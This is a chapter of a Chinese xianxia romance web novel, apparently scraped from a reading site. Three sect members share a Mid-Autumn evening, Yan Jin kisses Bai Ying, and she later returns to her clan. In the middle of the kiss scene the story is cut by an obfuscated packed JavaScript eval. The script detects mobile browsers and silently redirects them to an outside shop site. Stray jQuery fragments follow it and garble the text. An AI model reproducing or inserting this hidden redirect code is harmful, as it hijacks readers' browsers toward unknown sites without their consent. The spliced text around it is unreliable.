时光如梭,春去秋来。
余盱峰北侧的凉亭中,江北辛和晏缙正在往亭子四角挂上灯笼,就连凉亭中的地面上,都摆放了彩灯。
四周更有江北辛寻来摆放的桂花,为得就是增添香气。
之前五年每一年的中秋节,都是白楹主动布置凉亭,再邀他们师徒二人一起度过。
今年是第六年,再让白楹去操心这些,那就太说不过去了。
因此江北辛和晏缙主动准备一切,只待夜色来临,再邀白楹一起来赏月。
一边从乾坤袋中拿出佳果糕点,江北辛一边问着晏缙:“白楹近来心绪可好了些?她上剑法课的时候,我从她脸上瞧不出什么。”
晏缙回道:“尚好。她走神的时候越来越少,近日脸上的笑也变多了。”
“那就好……白楹这个孩子习惯将大事都藏在心里。”
江北辛叹了口气:“和你这个孩子一样,这点不好……不过白楹是大事藏在心里,你是大小事都藏着,整日脸上也没表露出什么,让人看不大出来。”
晏缙挑了挑眉,却没反驳师父,只是承认般点头:“的确,不过我心里虽然藏事,但多亏师父温和细心,才能将我教导得如此好。”
江北辛又叹了一口气:“我说这些不是让你夸我……我这是让你改正。”
“那恐怕难了……”晏缙摇了摇头,十分坦诚的模样:“我都这么大了,再来改自己的脾气,恐怕做什么都没效果。”
这会换江北辛摇了摇头:“你这小子,以往还乖觉些,这些年越发……”
他双眼突然对上晏缙侧耳认真听他话的模样,顿时批评的话也说不出了,只能自己又摇了摇头。
晏缙却不在意,仍然细致地装点好一切,甚至将师父买回来的彩灯都迅速装好,又掐诀将有花有兔模样的花灯继续接着挂在四角的灯笼之下。
江北辛微微一笑,满意地点了点头,然后他看向空中,“嗯……今晚无风无云,是个赏月的好时候……你等会看看白楹几时过来。”
“不用。”晏缙回道,“我现在去她院门等着,到了时间自然会催她。”
江北辛唇边笑意加深。
这么个散漫,还有些淡漠的徒弟,也会对未婚妻如此体贴……果真是长大了。
天色刚暗没多久,晏缙和白楹就来了。
看见江北辛,白楹倒是先笑了起来,仿佛又变回以往那个明丽的姑娘,“是我来晚了,让江长老久等了。”
“天刚刚黑,正合适,哪有什么等不等的。”江长老笑得温和,他右手轻轻一挥,所有茶壶茶杯、糕点、果盘都自动摆放起来。
三人自然是坐下赏月,气氛融洽。
晏缙微微转动眼眸,看着身旁白楹的灿然笑容,感觉与之前她家中没有发生巨变之时的笑容并无区别,看似好像已经走出丧母之痛。
江北辛抬头看向天上的一轮明月,又看了看身侧的晏缙与白楹,一时间极为感慨:“时间过得可真快……眨眼间,白楹你都来怀剑派六年了。”
他微微一笑,眼角细纹跟着弯曲,“当年你来的时候,我都不知道白家人究竟为何而来……但转眼间,你剑法已经进步许多,令我佩服。”
白楹不好意思地伸出手指摸了摸脸颊,“那是江长老你教得好……不过我近日,倒是越发能感受到自己在剑法上的天赋平平。”
江长老有些诧异,晏缙也挑眉看向白楹。
白楹坦然:“我观晏缙、南奉昭、卞念薇他们,都觉得他们都比我更快地领悟招式中暗含的深意……而我虽然能看懂每招每式,可对这些招式为何这样连起来、为什么这样出仍然是一知半解,而且每次很难完全发挥一剑应有的威力。”
晏缙微微启唇,似乎是安慰:“不用急,你才练六年……”
“与时间并无关系……况且六年的时间已经不短了。”白楹摇了摇头,转头看向江北辛,“而且六年之前江长老当时对我说的话极有道理……其实我没有学剑、想要掌握剑法力量的迫切之心。”
看见晏缙与江北辛都望着她,白楹有一丝紧张之余,还隐约感到松快,她再也不用瞒着他们任何事了。
白楹笑着说道:“其实不瞒江长老和晏缙你们两人……当时我也并不是因为喜爱才来练剑。”
江北辛微微一怔,眼中浮现一丝疑惑:“那当初你是为何要来怀剑派?”
晏缙微微皱眉,猜测道:“难道是被迫来怀剑派的?”
“当然不是!”
白楹忙开口否认晏缙的猜想,她轻吸一口气,慢慢说道:“其实……当时是和家中长辈发生矛盾,为了惹怒对方,我才说要来怀剑派学剑……但在此之前,我从未练过剑,就连一本普普通通的剑诀,都只是因为好奇才看了几眼。”
她抬眼看向江北辛和晏缙:“所以……江长老,晏缙,其实是我骗了你们,说对剑有什么兴趣……当时我既无兴致,也无钻研之心。”
江北辛恍然般微微颔首。
晏缙偏头看向白楹:“那你现在呢……?即使你当初来学剑的理由并不由心,甚至是因为一时冲动,那你现在如何看待你握在手中的剑?”
白楹一楞,没想到晏缙会立刻反问。
她停顿半响,真心实意答道:“现在倒是喜欢上学剑。即使我对于剑法的天赋平平,可是每次出剑都有一种畅快之意,劲心思领悟一招一式也从不觉得厌烦。”
此时江北辛也笑了起来:“那不管你最初的原因是什么……你终究是来到怀剑派,亦是喜爱上剑法。我们只看结果,其实和你最开始的说辞也并无什么不同,不算你骗了我们。”
听了江北辛和晏缙的话,白楹长舒一口气,也跟着笑了起来。
三人之间的气氛更为和睦。
他们品着茶与糕点,当月亮最为明亮之时,江北辛甚至拿出了自己珍藏多时的一壶酒,“虽然我不好酒,可有时也会尝尝。”
江北辛招呼两人,“这酒醇香、余韵极大,你们两人也快来试一试。”
然后他自顾自地给自己倒了一杯,端起酒杯看着月亮。
看着师父双眼一眨不眨地望着月亮,晏缙倒是觉得师父不仅是在看月,而是在思念着人。
江北辛喝了一杯后,又继续给自己倒了一杯。
白楹也好奇地倒上半杯,喝了一口,结果被辣地皱起眉头。
她怀疑地望向杯子中清浅的酒——
这就是许多人喜欢的美酒吗?她果然还是喜欢茶一些……
此时江北辛注意到白楹鼻子和眉头都微微皱起的表情,他恍然大悟:“白楹你可能不大习惯这种酒……恰好我这里也有酒阁老板送的灵果酒,他说清甜柔和许多……你来试试。”
江北辛从乾坤袋中拿出一小壶酒。
白楹点点头,换了个杯子倒入灵果酒试了试。
一口下肚,她颇觉新奇地眨了眨眼,觉得之前的辛辣之感少了许多,这果酒更有淡淡的酸甜口感,十分有趣。
晏缙转头看着左边对月喝酒的师父。
江北辛一向温和自持,少有如此放松的时候。
然后晏缙转头看向右边——白楹又倒了一杯灵果酒,轻轻皱起鼻子喝了一口,然后宛如赞叹般地舒了一口气。
晏缙顿时无语,白楹这副仿佛老酒鬼品酒的感觉是怎么回事。
等到了月上树梢、夜色渐深的时候,江北辛站起身来,他的身子轻微晃了一晃,然后看向另外两人:“晏缙……你,你等会儿将白楹送回去。为师……为师酒喝多了,头有点晕,就先回院子了。”
晏缙看着酒量一般的师父一副醉酒的模样慢慢踱步离去。
他轻笑着摇了摇头,然后转头看向呆坐在凳子上、眼睛迷蒙地望着月亮的白楹,“白楹,现在回去吗?”
白楹没有回答。
晏缙眯了眯眼,靠近白楹,“你喝醉了?”
白楹这下有了反应,她勉强摇了摇头:“没醉……就是有些晕。”
她慢慢眨了眨眼,反问道:“你怎么……怎么没喝酒?”
晏缙摇头:“我不习惯喝酒,喝茶就够了。”
“哦……”白楹慢慢点了点头,一双被月光映照地微微发亮的眸子定定看着晏缙,然后轻轻皱起眉头:“我感觉我好像……好像全身都有酒气味。”
她伸手放在桌面之上,然后撑住石桌站了起来。
眼看白楹是想靠近自己,还一副晃晃悠悠的样子,晏缙无语地伸手将其扶住。
白楹靠着晏缙的右手走近几步,“你闻闻我身上有没有酒味……”
说完这句后她倒是自己先笑了起来:“我……我现在是不是还有点像酒鬼?”
晏缙也忍不住跟着一笑,轻声答道:“原来你还知道啊……”
他微微向前一顷,轻轻闻了下白楹侧脸前方,慢慢答道:“有些酒味,但还好……不算浓烈。”
他一双凤眼移向别处,突然补充道:“真正的酒鬼可不是你这样。之前我偷溜下山,城中的那些酒鬼喝得脸红脖子红,醉酒之时早就东倒西歪了。”
“原来如此……”白楹慢慢点了点头:“我感觉我逐渐清醒过来了”
晏缙挑眉看向桌上的灵果酒酒壶,发现其中一大半都没了。他诚挚地回道:“以你第一次喝酒,还有喝了这么多灵果酒的程度,只怕一时半会清醒不过来。”
“哦……”白楹也不争执,她依旧抓着晏缙的右臂,一双眸子怔怔地看向晏缙:“你说得,也有几分道理。”
此时,晏缙也不由自主地望着白楹,看着眼前人在月光下的眼眸迷离懵懂,还有一份强撑着清醒的模样。
两人越靠越近。
既有借力者靠着手臂走近,也有支撑者慢慢上前一步。
直到一人抬头,一人微微垂头,两人面与面挨得极近,互相望着对方的眼眸,在月下都能察觉到对方的呼吸 ,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14261770|143231||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
亦能听清彼此的心跳。
直至鼻尖几乎要碰触,唇瓣间的距离只剩下一丝丝——时间宛如在这一刻凝固。
然后晏缙却动了,他忽然将头微微一偏,最终将那一吻落在白楹嘴角,而后迅速离开。
唇角的热意顷刻间消散,但白楹也不知道自己为什么仍然愣在原地,大脑也几乎不知如何运转。
反倒是晏缙扶着白楹,微微退后一步,少年的凤眼在月色下柔和明亮地看着白楹。
晏缙轻声开口:“现在感觉怎么样?清醒了些吗?要不我把你送回你院子……”
此时白楹才后知后觉地感受到自己双颊烫了起来,她艰难地移开与晏缙对视的目光,一边看向前方的树丛,一边匆忙地点头:“好……”
下一刻白楹立刻反应过来:“不,不用了,我自己回去就行!”
晏缙从善如流地点点头,立刻松开扶住白楹的右手,“那好吧。”
白楹怔愣地转身离开,但刚走了没几步,就察觉到背后有脚步声。
她转头看向背后的人:“晏缙,你……”
晏缙笑了笑:“我也回院子。”
“哦……”白楹怔怔地点了点头,转身继续向前走着。
但那阵脚步声却一直跟在白楹身后。
两人一直隔着不远不近的距离,直到白楹走到她院子前,十分不解地回头:“晏缙,你院子明明不是这边……”
晏缙倒是认真点了点头:“确实,我的院子不在这边……我只是想看一看你院子旁的风景,再回去。”
白楹此前晕昏昏和几乎被那一吻烫熟的大脑终于清醒了一些,她立刻反应过来——
这人只是陪着她回院子。
*
之后的日子,一切照常。
白楹却有时候感到迷惑——她和晏缙到底是什么关系,明明两人只是假扮婚约,但却在月下……
想到此事,白楹就双颊滚烫。
虽然她心里没有忘记此事,可她与晏缙谁也没有再提起那一晚的事情。
两人倒是几乎每日都会在一起,一起练剑、相互切磋、偶尔也会选一些其他铸造法器或者阵法的课上一上。
白楹甚至因为好奇,跟着晏缙接了事务堂的任务一起去做。
只不过晏缙此时已经不缺灵石了,因为怀剑派每个月都会给晏缙发送一笔数量客观的灵石,就连余盱峰上的每个月得到的灵石和物资都变多起来。
信任白家家主白鸿淮也会担心白楹囊中羞涩,每个月甚至都会给白楹寄来一大笔灵石。
白楹一时间过上了灵石丰裕到前所未有的生活。
每年十一月到来年三月,白楹也会回白家度过……只不过白楹以往期待的回白家的原因已经消失,她回白家,似乎只是为了在家中修炼异火。
就连白鸿淮也开口问道:“白楹,你明年还要去怀剑派吗?”
白楹狐疑地望过去,敏锐问道:“是不是长老们觉得我不该继续待在怀剑派?”
白鸿淮丝毫没有掩饰的意思——
他轻轻点了点头承认:“的确有几位长老觉得白家子弟就该待在白家好好修行、运用血脉中的力量,不该浪费时间去其他门派。”
白楹有些不解:“可白家也没规定在觉醒血脉力量之后,不能再去其他门派学习……而且你不是说可以当个‘怪人’吗?”
白鸿淮摆摆手,撇清自己:“我可没说让你一定要回来,我只是替长老们问一问。”
他微微一笑:“你只管去就是,让我这个劳碌的、忙得昏头转向的家主帮你顶住几位长老的压力。”
白楹“噗嗤”一笑,她拍了拍自己的胸口:“那家主您放心,等我学有所成——左手唤出异火,右手持剑,你说追杀哪只妖魔我就立马行动。能二十四时辰内把它干掉的话,我绝对不会让它活过二十五个时辰。”
白鸿淮唇边笑意加深,狐狸眼都迷成一条细缝。
他捧场地鼓了鼓掌:“好好好,你这话说得有气势,像那么一回事……那我就等着那一天了。”
第二年三月的时候,白楹又准备回怀剑派了——只不过这次,每次离家之时令她忍不住回头张望的母亲,只能出现在她梦中了。
白楹轻轻拍了拍哭哭啼啼的清鹤肩头,语重心长地说道:“我不在白家,你也要好好修炼……要是谁欺负你了,你告诉我,我会告诉白鸿淮让他替你教训人。”
清鹤有些惶恐:“小姐,怎么可以直呼家主名字?”
在她眼中,新任家主可是高深莫测的模样,笑着的脸都像一只老谋深算的狐狸,让人敬畏。
白楹摇头:“你这丫头……就是太过于胆小。就算你直呼家主名字,也没事的。”
清鹤迟疑:“真的吗?”
白楹笑得明丽:“那当然,只不过被人发现后……扣你一个月乃至几个月的工钱罢了。”
清鹤的神色简直是惊恐万分。